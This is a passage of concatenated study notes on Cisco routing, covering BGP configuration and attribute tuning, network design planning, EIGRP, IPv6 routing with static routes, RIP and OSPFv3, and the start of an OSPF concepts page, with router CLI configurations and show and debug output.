R4(config-router)#net 10.1.34.0 0.0.0.255 area 0 R4(config-router)#router bgp 5500 R4(config-router)#neigh 10.1.45.2 remote-as 6500 R4(config-router)#neigh 1.1.1.1 remote-as 5500 R4(config-router)#neigh 1.1.1.1 update-source lo0 R4(config-router)#ip route 5.5.5.5 255.255.255.255 10.1.45.2 R4(config)#router bgp 5500 R4(config-router)#neigh 5.5.5.5 remote-as 6500 R4(config-router)#neigh 5.5.5.5 update-source lo0 R4(config-router)#neigh 5.5.5.5 ebgp 2 R4(config-router)#neigh 1.1.1.1 next-hop-self R4(config-router)#no sync R4(config-router)#do wr ``` **Router R5** ``` text R5#conf t R5(config)#int s1/0 R5(config-if)#ip add 10.1.45.2 255.255.255.0 R5(config-if)#no shut R5(config-if)#int lo0 R5(config-if)#ip add 5.5.5.5 255.255.255.255 R5(config-if)#router bgp 6500 R5(config-router)#no auto R5(config-router)#no sync R5(config-router)#neigh 10.1.45.1 remote-as 5500 R5(config-router)#ip route 4.4.4.4 255.255.255.255 10.1.45.1 R5(config)#access-list 50 permit 200.1.1.0 R5(config)#access-list 50 permit 200.1.2.0 R5(config)#access-list 50 permit 200.1.3.0 R5(config)#access-list 50 permit 200.1.4.0 R5(config)#access-list 50 permit 200.1.5.0 R5(config)#access-list 50 permit 200.1.6.0 R5(config)#route-map FILTER R5(config-route-map)#match ip add 50 R5(config-route-map)#router bgp 6500 R5(config-router)#redist con route-map FILTER ``` ## BGP Tuning Attributes ### What are BGP Attributes - The BGP metric is not simple - Attributes are ways that you can 'tag' incoming or outgoing BGP routes - Some attributes are WELL-KNOWN (everyone supports), while others are OPTIONAL - Some attributes are MANDITORY (must be in the update), while others are DISCRETIONARY - Some attributes are TRANSITIVE (travel from router to router), while others are NON-TRANSITIVE ### Understanding the BGP Attribute Lineup - Well-Known Attributes - Autonomous system path (as-path - mandatory) - Next hop address (mandatory) - Origin (mandatory) - Local preferance (discretionary) - Atomic aggregate (discretionary) - Optional Attributes - Aggregator - Multi-exit discriminator (med/metric) ### How BGP Finds the Best Path 1. Ignore routes with an inaccessible next hop address 2. Prefer the path with the highest WEIGHT (CISCO proprietary) 3. Prefer the path with the highest LOCAL_PREF 4. Prefer the path that was locally originated via a network command 5. Prefer the path with the shortest AS_PATH 6. Prefer the path with the lowest origin type 7. Prefer the path with the lowest multi-exit discriminator (MED) 8. Prefer eBGP over iBGP paths 9. Prefer the path with the lowest IGP metric to the BGP next hop 10. Determine if multiple paths require installation in the routing table for BGP multipath 11. When both paths are external, prefer the path that was received first (the oldest one.) 12. Prefer the route that comes from the BGP router with the lowest router ID 13. If the originator or router ID is the same for multiple paths, prefer the path with the minimum clister list length 14. Prefer the path that comes from the lowest neighbour address. ### Tuning BGP Attributes - Weight (`neighbor x.x.x.x weight 500`) - AS-Path - Next-Hop Address (`neighbor x.x.x.x next-hop-self`) - Origin - Local Preference (`bgp default local-preference 700`) - Metric (`default-metric 200`) ### Configuring BGP and Tuning [bgp-configuration-and-tuning.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/bgp-configuration-and-tuning.zip) **Router R1** ``` text R1#conf t R1(config)#int s1/0 R1(config-if)#ip add 10.1.12.1 255.255.255.252 R1(config-if)#no shut R1(config-if)#int s1/1 R1(config-if)#ip add 10.1.13.1 255.255.255.252 R1(config-if)#no shut R1(config-router)#int lo0 R1(config-if)#ip add 1.1.1.1 255.255.255.255 R1(config-if)#router bgp 5500 R1(config-router)#no sync R1(config-router)#neigh 2.2.2.2 remote-as 5500 R1(config-router)#neigh 2.2.2.2 update-source lo0 R1(config-router)#neigh 3.3.3.3 remote-as 5500 R1(config-router)#neigh 3.3.3.3 update-source lo0 R1(config-router)#neigh 10.1.12.2 remote-as 5500 R1(config-router)#neigh 10.1.13.2 remote-as 5500 ``` **Router R2** ``` text R2#conf t R2(config)#int s1/0 R2(config-if)#ip add 10.1.12.2 255.255.255.252 R2(config-if)#no shut R2(config-if)#int s1/1 R2(config-if)#ip add 10.1.14.1 255.255.255.252 R2(config-if)#no shut R2(config-if)#int s1/2 R2(config-if)#ip add 10.1.24.1 255.255.255.252 R2(config-if)#no shut R2(config-if)#int l0 R2(config-if)#ip add 2.2.2.2 255.255.255.255 R2(config-if)#router bgp 5500 R2(config-router)#no sync R2(config-router)#neigh 10.1.12.1 remote-as 5500 R2(config-router)#neigh 10.1.12.1 next-hop-self R2(config-router)#neigh 10.1.14.2 remote-as 5500 R2(config-router)#neigh 10.1.24.2 remote-as 777 ``` **Router R3** ``` text R3#conf t R3(config)#int s1/0 R3(config-if)#ip add 10.1.13.2 255.255.255.252 R3(config-if)#no shut R3(config-if)#int s1/1 R3(config-if)#ip add 10.1.14.2 255.255.255.252 R3(config-if)#no shut R3(config-if)#int s1/2 R3(config-if)#ip add 10.1.36.1 255.255.255.252 R3(config-if)#no shut R3(config-if)#int l0 R3(config-if)#ip add 3.3.3.3 255.255.255.255 R3(config-if)#router bgp 5500 R3(config-router)#no sync R3(config-router)#neigh 10.1.13.1 remote-as 5500 R3(config-router)#neigh 10.1.14.1 remote-as 5500 R3(config-router)#neigh 10.1.36.2 remote-as 777 R3(config)#ip access-list standard R3ROUTES R3(config-std-nacl)#permit 150.1.50.0 0.0.0.255 R3(config-std-nacl)#permit 150.2.50.0 0.0.0.255 R3(config-std-nacl)#exit R3(config)#ip access-list standard R2ROUTES R3(config-std-nacl)#permit 200.0.0.0 0.255.255.255 R3(config-std-nacl)#exit R3(config)#route-map LOCAL_PREF permit 10 R3(config-route-map)#match ip address R3ROUTES R3(config-route-map)#set local R3(config-route-map)#set local-preference 1000 R3(config-route-map)#exit R3(config)#route-map LOCAL_PREF permit 20 R3(config-route-map)#match ip address R2ROUTES R3(config-route-map)#set local-prefe R3(config-route-map)#set local-preference 10 R3(config-route-map)#exit R3(config)#route-map LOCAL_PREF permit 30 R3(config-route-map)#router bgp 5500 R3(config-router)#ne R3(config-router)#nei R3(config-router)#neighbor 10.1.36.2 route-map LOCAL_PREF in ``` **Router R4** ``` text R4#conf t R4(config)#int s1/0 R4(config-if)#ip add 10.1.24.2 255.255.255.252 R4(config-if)#no shut R4(config-if)#int s1/1 R4(config-if)#ip add 10.1.48.1 255.255.255.252 R4(config-if)#no shut R4(config-if)#router bgp 777 R4(config-router)#neigh 10.1.24.1 remote-as 5500 R4(config-router)#neigh 10.1.48.2 remote-as 911 ``` **Router R5** ``` text R5#conf t R5(config)#int s1/0 R5(config-if)#ip add 10.1.48.2 255.255.255.252 R5(config-if)#no shut R5(config-if)#int s1/1 R5(config-if)#ip add 10.1.1.1 255.255.255.252 R5(config-if)#no shut R5(config-if)#router bgp 911 R5(config-router)#neigh 10.1.48.1 remote-as 777 R5(config-router)#neigh 10.1.1.2 remote-as 711 R5(config)#int l1 R5(config-if)#ip add 150.1.50.1 255.255.255.0 R5(config-if)#int l2 R5(config-if)#ip add 150.2.50.1 255.255.255.0 R5(config-if)#router bgp 911 R5(config-router)#network 150.1.50.0 mask 255.255.255.0 R5(config-router)#network 150.2.50.0 mask 255.255.255.0 ``` **Router R6** ``` text R6#conf t R6(config)#int s1/0 R6(config-if)#ip add 10.1.36.2 255.255.255.252 R6(config-if)#no shut R6(config-if)#int s1/1 R6(config-if)#ip add 10.1.74.1 255.255.255.252 R6(config-if)#no shut R6(config-if)#router bgp 777 R6(config-router)#neigh 10.1.36.1 remote-as 5500 R6(config-router)#neigh 10.1.74.2 remote-as 711 ``` **Router R7** ``` text R7#conf t R7(config)#int s1/0 R7(config-if)#ip add 10.1.74.2 255.255.255.252 R7(config-if)#no shut R7(config-if)#int s1/1 R7(config-if)#ip add 10.1.1.2 255.255.255.252 R7(config-if)#no shut R7(config-if)#router bgp 711 R7(config-router)#neigh 10.1.74.1 remote-as 777 R7(config-router)#neigh 10.1.1.1 remote-as 911 R7(config)#int l1 R7(config-if)#ip add 200.50.2.1 255.255.255.0 R7(config-if)#int l2 R7(config-if)#ip add 200.60.2.1 255.255.255.0 R7(config-if)#router bgp 711 R7(config-router)#network 200.50.2.0 mask 255.255.255.0 R7(config-router)#network 200.60.2.0 mask 255.255.255.0 ``` --- # Network Design and Documentation Source: docs/networking/cisco/routing/design-and-documentation.md URL: https://docs.calebsargeant.com/networking/cisco/routing/design-and-documentation/ ![ppdioo](_images/ppdioo.png) ## Planning: It's Who You Are - Planning as a personality characteristic - Find a template that works for you - CISCO Network Lifecycle (PPDIOO) - Microsoft Project / Excel Template - IT Infrastructure Library (ITIL) - Create the implementation plan - Follow the implementation plan ## Planning: What's Included? - **Phase 1: Necessary Information/Data** - Accurate network diagram - Equipment list - IP address diagram/spreadsheet - Link utilization - Configuration commands - Timeline - Hardware required - Relevant contact information - **Phase 2: Implementation Plan** - Identify devices and tasks (checklist) - List necessary software version - List configurations - Verification and testing - **Phase 3: Documentation** - Network diagram/information - network equipment - Current configurations - Known issues - Network performance baseline - Verification commands and results - Monitoring and management utilities - Photographs and screen-dumps **Documentation should be what you are!** **Documentation is like a deprecating asset!** --- # EIGRP Source: docs/networking/cisco/routing/eigrp.md URL: https://docs.calebsargeant.com/networking/cisco/routing/eigrp/ ## Concepts and Planning ### Why You Would Choose to Use EIGRP 1. Backup routes (Fast convergence / DUAL) 2. Simple configuration 3. Flexibility in summarization 4. Unequal cost load-balancing 5. combines best of distance vector and link state ### EIGRP Tables and Terminology **A router running EIGRP maintains three tables:** - Neighbour table - Topology table (Successor routes, Feasible successor) - Routing table **A router running EIGRP has different terms:** - Feasible Distance (FD) - Distance from you to reach a specific route - Advertised Distance (AD) - Distance from your neighbour to reach a specific route - Successor - Feasible Successor - Active Route (Bad - actively looking for a backup) - Passive Route (Good) !!! note To be considered a feasible successor, the AD must be less than the FD of the successor. ### EIGRP Neighbour Relationships - **Hello:** forms relationship - **Update:** sends updates - **Query:** asks about routes - **Reply:** response to a query - **Ack:** acknowledges the update, query and reply messages - 224.0.0.10 ### EIGRP Metric Calculation - Bandwidth (K1) - Delay (K3) - Reliability (K4 and K5) - Loading (K2) - MTU $$Metric = [(K1*BW+\frac{K2*BW}{256-load}+K3*delay)*\frac{K5}{K4+reliability}]$$ $$Real (default) Metric = [256*(slowestBW+AllLinkDelays)]$$ $$BW = \frac{10^7}{BW}$$ $$Delay = DelayInMicroseconds$$ ## Basic Configuration [eigrp-basic-configuration.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/eigrp-basic-configuration.zip) ![EIGRP Basic Configuration](_images/eigrp-basic-configuration.png) **BB Router** ``` text BB#conf t BB(config)#int s1/0 BB(config-if)#ip add 10.1.24.1 255.255.255.252 BB(config-if)#band 256 BB(config-if)#no shut BB(config-if)#int s1/1 BB(config-if)#ip add 10.1.34.1 255.255.255.252 BB(config-if)#band 128 BB(config-if)#no shut BB(config-if)#int lo1 BB(config-if)#ip add 172.30.0.1 255.255.255.0 BB(config-if)#int lo2 BB(config-if)#ip add 172.30.1.1 255.255.255.0 BB(config-if)#int lo3 BB(config-if)#ip add 172.30.2.1 255.255.255.0 BB(config)#router eigrp 90 BB(config-router)#passive-interface default BB(config-router)#no passive-interface s1/0 BB(config-router)#no passive-interface s1/1 BB(config-router)#variance 2 BB(config-router)#network 10.1.2.1 0.0.0.0 BB(config-router)#network 10.1.24.1 0.0.0.0 BB(config-router)#network 10.1.34.1 0.0.0.0 BB(config-router)#network 172.30.0.0 0.0.3.255 BB(config-router)#network 192.168.1.0 0.0.0.255 BB(config-router)#no auto-summary BB(config)#ip route 192.168.1.0 255.255.255.0 null0 BB(config)#ip default-network 192.168.1.0 BB#wr ``` **R2 Router** ``` text R2#conf t R2(config)#int s1/0 R2(config-if)#ip add 10.1.24.2 255.255.255.252 R2(config-if)#band 256 R2(config-if)#no shut R2(config-if)#int f0/0 R2(config-if)#ip add 10.1.2.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#int f0/1 R2(config-if)#ip add 10.1.25.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#router eigrp 90 R2(config-router)#passive-interface f0/1 R2(config-router)#network 10.1.2.2 0.0.0.0 R2(config-router)#network 10.1.24.2 0.0.0.0 R2(config-router)#no auto-summary R2#wr ``` **R3 Router** ``` text R3#conf t R3(config)#int s1/0 R3(config-if)#ip add 10.1.34.2 255.255.255.252 R3(config-if)#band 128 R3(config-if)#no shut R3(config-if)#int f0/0 R3(config-if)#ip add 10.1.2.3 255.255.255.0 R3(config-if)#no shut R3(config-if)#router eigrp 90 R3(config-router)#network 10.1.2.3 0.0.0.0 R3(config-router)#network 10.1.34.2 0.0.0.0 R3(config-router)#no auto R3#wr ``` ## Advanced Configuration ### Frame Relay PVC Design ![EIGRP Frame Relay PVC Design](_images/eigrp-frame-relay-pvc-design.png) - Hub-and-Spoke - Inexpensive - If hub fails, WAN fails - Full Mesh - Expensive - Full redundancy - Good for VOIP - Seen in MPLS - Partial Mesh - Hybrid - Not so critical spokes have no redundancy ### How EIGRP Handles NBMA (Non Broadcast Multi-Access) - EIGRP uses "Pseudo-Broadcasts" or manual neighbours (emulated broadcast) - Split Horizon can be an issue ("I will not tell somebody what they told me") - Disabled on physical interfaces - Enabled on sub-interfaces ### Configuration Example [eigrp-advanced-configuration.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/eigrp-advanced-configuration.zip) ![EIGRP Advanced Configuration](_images/eigrp-advanced-configuration.png) ## Best Practices and Design ### Debugging EIGRP packets Show communication of EIGRP packets: `debug eigrp packets` ### Query Swarm Resolutions 1. Summary routes 2. Stub configuration ### Configuring Stubs ``` text R1(config)#router eigrp1 R1(config-router)#eigrp stub      connected and summary by default, which is recommended (used 99% of time)      eigrp stub receive-only is the ultimate stub (similar to passive-interface) ``` --- # Routing Source: docs/networking/cisco/routing/index.md URL: https://docs.calebsargeant.com/networking/cisco/routing/ --- # IPv6 Routing Source: docs/networking/cisco/routing/ipv6-routing.md URL: https://docs.calebsargeant.com/networking/cisco/routing/ipv6-routing/ ## Understanding and Implementing IPv6 Addressing ### Rationale for IPv6 - Yes there IS an IP Address shortage! - USA is still sitting pretty - Asia and Africa received single class C for entire country - Current IP Addresses poorly allocated - Agencies needing class C asked for class B - Estimates of IPv4 exhaustion largely debated (2011 - 2041) - New network devices on the rise - NAT (our current solution) is now seen as a hinderence to innovation - Potential future features: IPSec everywhere, mobility, simpler header ### IPv6 Addressing - Address size moved from 32-bit (IPv4) to 128-bit (IPv6) - Provides 340,282,366,920,138,463,463,374,607,431,770,000,000 addresses - To make addresses more manageable, divided into 8 groups of 4 hex characters each: `2001:0050:0000:0000:0000:0AB4:1E2B:98AA` - Rule 1: eliminate groups of consecutive zeros `2001:0050::0AB4:1E2B:98AA` - Rule 2: Drop leading zeros: `2001:50::AB4:1E2B:98AA` ### Simplified IPv6 Headers ![ipv6 routing](_images/ipv6-routing-1.png) ### Types of Communication and Addresses - Unicast: one-to-one - Multicast: one-to-many - Anycast: one-to-closest - Link local scope address: layer 2 domain - Unique/site-local scope address: organization - Global scope address: internet ![ipv6 routing](_images/ipv6-routing-2.png) ### Link Local Addresses - Assigned automatically as an IPv6 host comes online - Similar to the 169.254.x.x addresses of IPv4 - Always begins with `fe80` (first 10 bits: `1111 1110 10`) followed by 54 bits of zeros - Last 64 bits is the 48-bit mac address with `FFFE` squeezed in the middle ### Global Addresses - Have their high-level 3 bits set to `0001` (`2000::/3`) - Global routing prefix is 48 bits or less - Subnet ID is comprised of whatever bits are left over after global routing prefix - The primary addresses expected to comprise the ipv6 internet are from the `2001::/16` subnet ## Implementing IPv6 Routing and Routing Protocols ### Configuring IPv6 Addressing ![ipv6 routing](_images/ipv6-routing-3.png) [ipv6-routing.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ipv6-routing.zip) - Things to discuss: - Manual address - link local address - Manual LL address - ICMP ND (neighbor discovery) (goodbye ARP - `sh ipv6 neighbors`) - Multicast addresses - Ping **R1** ``` text R1(config)#int g0/1 R1(config-if)#ipv6 address 2001:11AA::1/64 R1(config-if)#no shut R1(config-if)#int g0/0 R1(config-if)#ipv6 address 2001:22AA::1/64 R1(config-if)#no shut ``` **R2** ``` text R2(config)#int g0/0 R2(config-if)#ipv6 address 2001:11AA::2/64 R2(config-if)#no shut R2(config-if)#do ping 2001:11AA::1 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 2001:11AA::1, timeout is 2 seconds: !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 1/3/10 ms ``` **R3** ``` text R3(config)#int g0/0 R3(config-if)#ipv6 address 2001:22AA::2/64 R3(config-if)#no shut R3(config-if)#int g0/1 R3(config-if)#ipv6 address 2001:33AA::1/64 R3(config-if)#no shut ``` **R4** ``` text R4(config)#int g0/0 R4(config-if)#ipv6 address 2001:33AA::2/64 R4(config-if)#no shut R4#sh ipv6 neighbors IPv6 Address Age Link-layer Addr State Interface 2001:33AA::1 4 0cfa.0cae.ce01 STALE Gi0/0 FE80::EFA:CFF:FEAE:CE01 4 0cfa.0cae.ce01 STALE Gi0/0 ``` **Debugging** ``` text R3#debug ipv6 nd Feb 23 06:19:19.011: ICMPv6-ND: ND input feature SEND executed on 3 - rc=0 Feb 23 06:19:19.011: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::1) Received NS from 2001:33AA::2 Feb 23 06:19:19.012: ICMPv6-ND: Validating ND packet options: valid Feb 23 06:19:19.012: ICMPv6-ND: Created ND Entry Chunk pool Feb 23 06:19:19.013: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) Glean Feb 23 06:19:19.013: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) LLA 0cfa.0cd7.b400 Feb 23 06:19:19.014: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) INCMP -> STALE Feb 23 06:19:19.014: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::1) Sending NA to 2001:33AA::2 Feb 23 06:19:19.016: ICMPv6-ND: ND output feature SEND executed on 3 - rc=0 Feb 23 06:19:19.017: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) STALE -> DELAY Feb 23 06:19:24.080: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) DELAY -> PROBE Feb 23 06:19:24.081: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) Sending NS Feb 23 06:19:24.081: ICMPv6-ND: ND output feature SEND executed on 3 - rc=0 Feb 23 06:19:24.088: ICMPv6-ND: ND input feature SEND executed on 3 - rc=0 Feb 23 06:19:24.088: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) Received NA from 2001:33AA::2 Feb 23 06:19:24.088: ICMPv6-ND: Packet contains no options Feb 23 06:19:24.088: ICMPv6-ND: Validating ND packet options: valid Feb 23 06:19:24.089: ICMPv6-ND: Packet contains no options Feb 23 06:19:24.089: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) PROBE -> REACH Feb 23 06:19:29.146: ICMPv6-ND: ND input feature SEND executed on 3 - rc=0 Feb 23 06:19:29.147: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FEAE:CE01) Received NS from FE80::EFA:CFF:FED7:B400 Feb 23 06:19:29.147: ICMPv6-ND: Validating ND packet options: valid Feb 23 06:19:29.147: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) Glean Feb 23 06:19:29.148: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) LLA 0cfa.0cd7.b400 Feb 23 06:19:29.148: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) INCMP -> STALE Feb 23 06:19:29.148: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FEAE:CE01) Sending NA to FE80::EFA:CFF:FED7:B400 Feb 23 06:19:29.150: ICMPv6-ND: ND output feature SEND executed on 3 - rc=0 Feb 23 06:19:29.151: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) STALE -> DELAY Feb 23 06:19:34.198: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) DELAY -> PROBE Feb 23 06:19:34.198: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) Sending NS Feb 23 06:19:34.199: ICMPv6-ND: ND output feature SEND executed on 3 - rc=0 Feb 23 06:19:34.203: ICMPv6-ND: ND input feature SEND executed on 3 - rc=0 Feb 23 06:19:34.203: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) Received NA from FE80::EFA:CFF:FED7:B400 Feb 23 06:19:34.204: ICMPv6-ND: Packet contains no options Feb 23 06:19:34.204: ICMPv6-ND: Validating ND packet options: valid Feb 23 06:19:34.204: ICMPv6-ND: Packet contains no options Feb 23 06:19:34.204: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) PROBE -> REACH Feb 23 06:19:54.193: ICMPv6-ND: (GigabitEthernet0/1,2001:33AA::2) REACH -> STALE Feb 23 06:20:04.264: ICMPv6-ND: (GigabitEthernet0/1,FE80::EFA:CFF:FED7:B400) REACH -> STALE ``` ### IPv6 Static Routes [ipv6-routing-static.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ipv6-routing-static.zip) **R1** ``` text R1(config)#ipv6 unicast-routing R1(config)#ipv6 route 2001:33aa::/64 2001:22aa::2 ``` **R2** ``` text R2(config)#ipv6 unicast-routing R2(config)#ipv6 route ::/0 2001:11aa::1 ``` **R3** ``` text R3(config)#ipv6 unicast-routing R3(config)#ipv6 route 2001:11aa::/64 2001:22aa::1 ``` **R4** ``` text R4(config)#ipv6 unicast-routing R4(config)#ipv6 route 2001:22aa::/64 2001:33aa::1 R4(config)#ipv6 route 2001:11aa::/64 2001:33aa::1 R4#traceroute ipv6 2001:11aa::2 Type escape sequence to abort. Tracing the route to 2001:11AA::2 1 2001:33AA::1 4 msec 2 msec 2 msec 2 2001:22AA::1 4 msec 3 msec 4 msec 3 2001:11AA::2 5 msec 4 msec 4 msec ``` ### IPv6 RIP [ipv6-routing-rip.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ipv6-routing-rip.zip) **R1** ``` text R1(config)#ipv6 unicast-routing R1(config)#int g0/0 R1(config-if)#ipv6 rip CALEB enable R1(config-if)#int g0/1 R1(config-if)#ipv6 rip CALEB enable ``` **R2** ``` text R2(config)#ipv6 unicast-routing R2(config)#int g0/0 R2(config-if)#ipv6 rip CALEB enable R2(config-if)#do sh ipv6 route IPv6 Routing Table - default - 4 entries Codes: C - Connected, L - Local, S - Static, U - Per-user Static route B - BGP, HA - Home Agent, MR - Mobile Router, R - RIP H - NHRP, I1 - ISIS L1, I2 - ISIS L2, IA - ISIS interarea IS - ISIS summary, D - EIGRP, EX - EIGRP external, NM - NEMO ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect RL - RPL, O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1 OE2 - OSPF ext 2, ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2 la - LISP alt, lr - LISP site-registrations, ld - LISP dyn-eid lA - LISP away, a - Application C 2001:11AA::/64 [0/0] via GigabitEthernet0/0, directly connected L 2001:11AA::2/128 [0/0] via GigabitEthernet0/0, receive R 2001:22AA::/64 [120/2] via FE80::EFA:CFF:FE51:3201, GigabitEthernet0/0 L FF00::/8 [0/0] via Null0, receive ``` **R3** ``` text R3(config)#ipv6 unicast-routing R3(config)#int g0/0 R3(config-if)#ipv6 rip CALEB enable R3(config-if)#int g0/1 R3(config-if)#ipv6 rip CALEB enable ``` **R4** ``` text R4(config)#ipv6 unicast-routing R4(config)#int g0/0 R4(config-if)#ipv6 rip CALEB enable R4(config-if)#do sh ipv6 protocols IPv6 Routing Protocol is "connected" IPv6 Routing Protocol is "application" IPv6 Routing Protocol is "ND" IPv6 Routing Protocol is "rip CALEB" Interfaces: GigabitEthernet0/0 Redistribution: None R4(config)#ipv6 router rip CALEB R4(config-rtr)#? default Set a command to its defaults distance Administrative distance distribute-list Filter networks in routing updates exit Exit from IPv6 routing protocol configuration mode maximum-paths Forward packets over multiple paths no Negate a command or set its defaults poison-reverse Poison reverse updates redistribute Redistribute IPv6 prefixes from another routing protocol split-horizon Split horizon updates timers Adjust routing timers ``` ### OSPFv3 [ipv6-routing-ospfv3.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ipv6-routing-ospfv3.zip) **R1** ``` text R1(config)#ipv6 unicast-routing R1(config)#int g0/0 R1(config-if)#ipv6 ospf 1 area 0 R1(config-if)#int g0/1 R1(config-if)#ipv6 ospf 1 area 10 R1(config-if)#ipv6 router ospf 1 R1(config-rtr)#router-id 0.0.0.1 ``` **R2** ``` text R2(config)#ipv6 unicast-routing R2(config)#int g0/0 R2(config-if)#ipv6 ospf 1 area 10 R2(config-if)#ipv6 router ospf 1 R2(config-rtr)#router-id 0.0.0.2 ``` **R3** ``` text R3(config)#ipv6 unicast-routing R3(config)#int g0/0 R3(config-if)#ipv6 ospf 1 area 0 R3(config-if)#int g0/1 R3(config-if)#ipv6 ospf 1 area 20 R3(config-if)#ipv6 router ospf 1 R3(config-rtr)#router-id 0.0.0.3 ``` **R4** ``` text R4(config)#ipv6 unicast-routing R4(config)#int g0/0 R4(config-if)#ipv6 ospf 1 area 20 R4(config-if)#ipv6 router ospf 1 R4(config-rtr)#router-id 0.0.0.4 R4(config)#do sh ipv6 route IPv6 Routing Table - default - 5 entries Codes: C - Connected, L - Local, S - Static, U - Per-user Static route B - BGP, HA - Home Agent, MR - Mobile Router, R - RIP H - NHRP, I1 - ISIS L1, I2 - ISIS L2, IA - ISIS interarea IS - ISIS summary, D - EIGRP, EX - EIGRP external, NM - NEMO ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect RL - RPL, O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1 OE2 - OSPF ext 2, ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2 la - LISP alt, lr - LISP site-registrations, ld - LISP dyn-eid lA - LISP away, a - Application OI 2001:11AA::/64 [110/3] via FE80::EFA:CFF:FEAE:CE01, GigabitEthernet0/0 OI 2001:22AA::/64 [110/2] via FE80::EFA:CFF:FEAE:CE01, GigabitEthernet0/0 C 2001:33AA::/64 [0/0] via GigabitEthernet0/0, directly connected L 2001:33AA::2/128 [0/0] via GigabitEthernet0/0, receive L FF00::/8 [0/0] via Null0, receive ``` ## Transitioning to IPv6 ### The Migration to IPv6 Technology exists to provide a smooth, non-pressured transition: - Dual-stack routers - Tunneling (6to4 and 4to6) - NAT protocol translation (NAT-PT) --- # OSPF Source: docs/networking/cisco/routing/ospf.md URL: https://docs.calebsargeant.com/networking/cisco/routing/ospf/ ## Concepts and Planning ### Link State Routing Protocols - Two types > - IS-IS > - OSPF - Maintain three tables > - Neighbour table > - Topology table > - Routing table - Use Dijkstra's Shortest Path First (SPF) algorithm - Send triggered updates to announce network changes - Send periodic updates (LS refresh) on long intervals ### OSPF Area Design and Terms ![ospf concepts and planning](_images/ospf-concepts-and-planning.png) - All areas must connect to area 0 - All routers in an area have the same topology table - Goal: localize updates within an area - Requires a hierarchal design ### Understanding OSPF Neighbour Relationships 1. Determine your own Router ID > 1. The Router ID is simply the router's name in the OSPF process > 2. Highest active interface IP address when OSPF starts (loopbacks beat physical interfaces) > 3. Dangerous to have a dynamic Router ID > 4. Can be hard-coded using the "router-id" command 1. Add interfaces to the link state database (dictated by the network command) 2. Send a hello message on chosen interface(s) > 1. **Down state** > 2. Sent once every 10 seconds on broadcast/p2p networks > 3. Sent once every 30 seconds on NMBA networks > 4. Contains all sorts of information (\* = neighbours must be same to form neighbor relationship) > > > 1. Router ID > > 2. Hello and Dead Timers\* > > 3. Network Mask\* > > 4. Area ID\* > > 5. Neighbours > > 6. Router Priority > > 7. DR/BDR IP address > > 8. Authentication Password\* 1. Receive Hello > 1. **Init State** > 2. Check hello/dead interval > 3. Check netmasks > 4. Check area ID > 5. Check authentication passwords 1. Send Reply Hello > 1. **2-way State** > 2. Am I listed as a neighbour in your hello packet > 3. (if yes, reset dead timer) > 4. (if no, add as a new neighbour) 1. Master-Slave Relationship Determined > 1. **Exstart State** > 2. Determined by "priority", router-id breaks the tie > 3. Master Sends Database Description (DBD) packet > > > 1. DBD = cliff notes of link-state database > > 1. Slave sends its DBD packets 1. DBDs are acknowledged and reviewed > 1. **Loading state** > 2. Slave requests details (link-state requests - LSR) > 3. Master sends updates (link-state updates - LSU) > 4. Master requests details (LSR) > 5. Slave sends updates (LSU) 1. Neighbours are synchronized > 1. **Full-state** > 2. Now it's time to run the Dijkstra SPF algorithm to figure out what to do with all this data ### OSPF's Cost $$Cost = \frac{100}{BandwidthInMbps}$$ - 56K = 1785 - 64K = 1562 - T1 (1.544M) = 65 - E1 (2.048M) = 48 - Ethernet = 10 - Fast Ethernet = 1 ### Understanding DR and BDR - Designated Router = DR - Backup DR = BDR - DROTHER = client router - Router send updates to DR on 224.0.0.6, DR sends updates to all its neighbours on 224.0.0.5. - 1 DR and BDR for every shared segment - No DR and BDR on point-to-point links (no point) ### DR and BDR Election Elected via Router Priority (which is all 1 by default). The tie is broken by Router-ID. DR is only really important in NMBA networks, otherwise random DR and BDR is okay. All routers connected to DR will be in Full state. Other routers are in 2-way state (which is okay). ### OSPF Packet Types - Hello - Database Description (DBD) - Link-State Request (LSR) - sent to master - Link-State Advertisement (LSA) - updates about individual routes - Link-State Update (LSU) - sent to slave - Link-State Acknowledgment (LSACK) ## Basic 